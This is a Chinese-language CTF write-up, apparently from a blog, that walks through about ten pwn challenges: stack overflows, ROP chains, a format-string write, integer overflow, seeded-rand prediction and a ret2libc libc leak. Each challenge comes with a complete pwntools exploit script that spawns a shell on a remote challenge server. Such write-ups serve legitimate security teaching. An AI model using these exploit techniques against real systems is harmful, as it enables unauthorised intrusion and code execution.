共计 5040 个字符,预计需要花费 13 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-30 14:43,文中所关联的信息可能已发生改变,请知悉!
Hello_Pwn
题目描述
连接方式:nc ctf.nynusec.com 端口
WP
hello_pwn2
题目描述
开始吧
WP
IDA
read
函数是明显溢出点
只要在输入时填充进足够的垃圾数据,从 unk_601068
一直覆盖到 dword_60106C
,再让dword_60106C == 1853186401
成立,就可以执行 sub_400686
函数
EXP
from pwn import *
# p = process('./hello_pwn2')
p = remote('ctf.nynusec.com', 28385)
payload = b'a' * (0xC - 0x8) + p64(0x6E756161)
p.sendlineafter('bof\n', payload)
p.interactive()
pwnpwn
题目描述
栈
WP
IDA
只要利用 read
函数溢出到 callsystem
函数就行
EXP
from pwn import *
p = remote('ctf.nynusec.com', 28691)
payload = b'a' * (0x80 + 0x8) + p64(0x400596)
p.sendlineafter('Hello, World\n', payload)
p.interactive()
easyStack
题目描述
简单的栈溢出
WP
IDA
fgets
函数可以溢出
运行 fun
函数,可以拿到 shell
EXP
from pwn import *
p = remote('ctf.nynusec.com', 28658)
paylaod = b'a' * (0x10 + 0x8) + p64(0x4006cf)
p.sendlineafter('secret : \n', paylaod)
p.interactive()
rop_test
题目描述
栈溢出 ROP
WP
IDA
read
函数为明显点,而 system
函数存在,只要找到 bin/sh
的地址就行
EXP
from pwn import *
p = remote('ctf.nynusec.com', 28869)
elf = ELF('./rop_test')
binsh_addr = 0x0804a025
sys_addr = elf.sym['system']
payload = b'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(binsh_addr)
p.sendlineafter('Input:', payload)
p.interactive()
pwn_string
题目描述
格式化字符串漏洞
WP
IDA
这里会输出两个地址
输入一个name
,但不能太长
s1
要输入 east
才能跳出循环
按顺序进行到下面的函数
格式化字符串漏洞就在这里
再继续
这里,我们只要让 if
条件成立,就可以直接写入 shellcode,拿到 shell
偏移计算
61616161 --> aaaa
0x80 --> 128
所以偏移量为 7
EXP
from pwn import *
p = remote("ctf.nynusec.com", 28226)
p.recvuntil("secret[0] is ")
addr = int(p.recvuntil("\n")[:-1],16)
print(addr)
p.recvuntil("character's name be:\n")
p.sendline("aaaa")
p.recvuntil(" will go?east or up?:\n")
p.sendline("east")
p.recvuntil("there(1), or leave(0)?:\n")
p.sendline("1")
p.recvuntil("me an address'\n")
p.sendline(str(addr))
p.recvuntil("you wish is:\n")
p.sendline("%85c%7$n")
context(os = 'linux',arch = 'amd64')
shellcode = asm(shellcraft.sh())
p.recvuntil("SPELL\n")
p.sendline(shellcode)
p.interactive()
pwn_guess
题目描述
猜一下数字
WP
IDA
程序大意为猜随机数,只要猜对 10 轮,就能拿到 flag
但是我们输入的 v9 是能栈内覆盖到随机数种子 seed 的
那么我们就可以利用随机数的伪随机性,来解题
EXP
from pwn import *
from ctypes import *
sh = remote("ctf.nynusec.com", 28856)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = b'a' * 0x20 + p64(1)
sh.sendlineafter("Your name:", payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand() % 6 + 1)
sh.sendlineafter("number:", num)
sh.interactive()
pwn_int
题目描述
整数溢出
WP
IDA
输入 1,进入 login
这里都规定了读入上限,不能溢出
这里的 v3 看似只能处于 3~8 之间,但是 int 类型是可以溢出的,我们就利用这一点
这是后门函数
EXP
from pwn import *
p = remote("ctf.nynusec.com", 28649)
cat_flag_addr = 0x0804868B
p.sendlineafter("Your choice:", "1")
p.sendlineafter("your username:", "123")
p.recvuntil("your passwd:")
payload = b"a" * 0x14 + b"aaaa" + p32(cat_flag_addr) + b"a" * 234
p.sendline(payload)
p.recv()
p.interactive()
S2-stack
WP
简单的栈溢出
EXP
from pwn import *
p = remote('ctf.nynusec.com', 28239)
#elf = ELF('./stack')
#sys_addr = elf.sym['system']
payload = b'a' * (0x9 + 0x4) + p32(0x0804850f)
p.sendlineafter('32bits\n', payload)
p.interactive()
S2-pwn1-rop
WP
IDA
scanf
没有限制读入长度,可溢出
存在 system
和binsh
EXP
from pwn import *
p = remote('ctf.nynusec.com', 28050)
elf = ELF('./pwn1-rop')
binsh_addr = 0x601048
sys_addr = elf.sym['system']
ret = 0x400479
rdi_ret = 0x400683
payload = b'a' * (0x10 + 0x8) + p64(ret) + p64(rdi_ret) + p64(binsh_addr) + p64(sys_addr)
# p.recvuntil()
p.sendlineafter('NYNUCTF', payload)
p.interactive()
PWN_libc
题目描述
泄露 libc
WP
IDA
这个程序大致是用来加密解密一段字符串的,但是很明显可以看到 2.Decrypt
是没有用的,那么来看看 1.Encrypt
的内容:
看到了 gets
函数,可以用来溢出,除此以外好像没有别的可以利用的东西,那么就想到 ret2libc
payload
第一次溢出
'\0'
#用来绕过if (v0 >= strlen(s) )
,(strlen()
在读取字符串的时候 会 一直读到 \0 处停止;)b'a' * (0x50 + 0x8 - 1)
#与前面的'\0'
一起,覆盖 s 的栈并溢出
p64(rdi_ret)
p64(puts_got)
p64(puts_plt)
# 利用 puts 函数的 got 表和 plt 表来泄露 libc 版本p64(main_addr)
# 返回主函数再进行下一次溢出
第二次溢出
'\0'
#用来绕过if (v0 >= strlen(s) )
,(strlen()
在读取字符串的时候 会 一直读到 \0 处停止;)b'a' * (0x50 + 0x8 - 1)
#与前面的'\0'
一起,覆盖 s 的栈并溢出p64(ret)
# ubuntu18(题目给出的环境)上有栈平衡,用 ret 来进行栈对齐p64(rdi_ret)
p64(binsh)
# /bin/sh 地址p64(sys_addr)
# system 函数地址
EXP
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# p = process('./ciscn_2019_c_1')
p = remote('ctf.nynusec.com', 28693)
elf = ELF('./ciscn_2019_c_1')
main_addr = 0x400b28
rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload1 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter('choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted', payload1)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
# print(p.recvuntil('\n')[:-1].ljust(8, b'\0'))
# puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8, b'\0'))
puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
p.sendlineafter('choice!\n', '1')
payload2 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(ret) + p64(rdi_ret) + p64(binsh) + p64(sys_addr)
p.sendlineafter('encrypted\n', payload2)
p.interactive()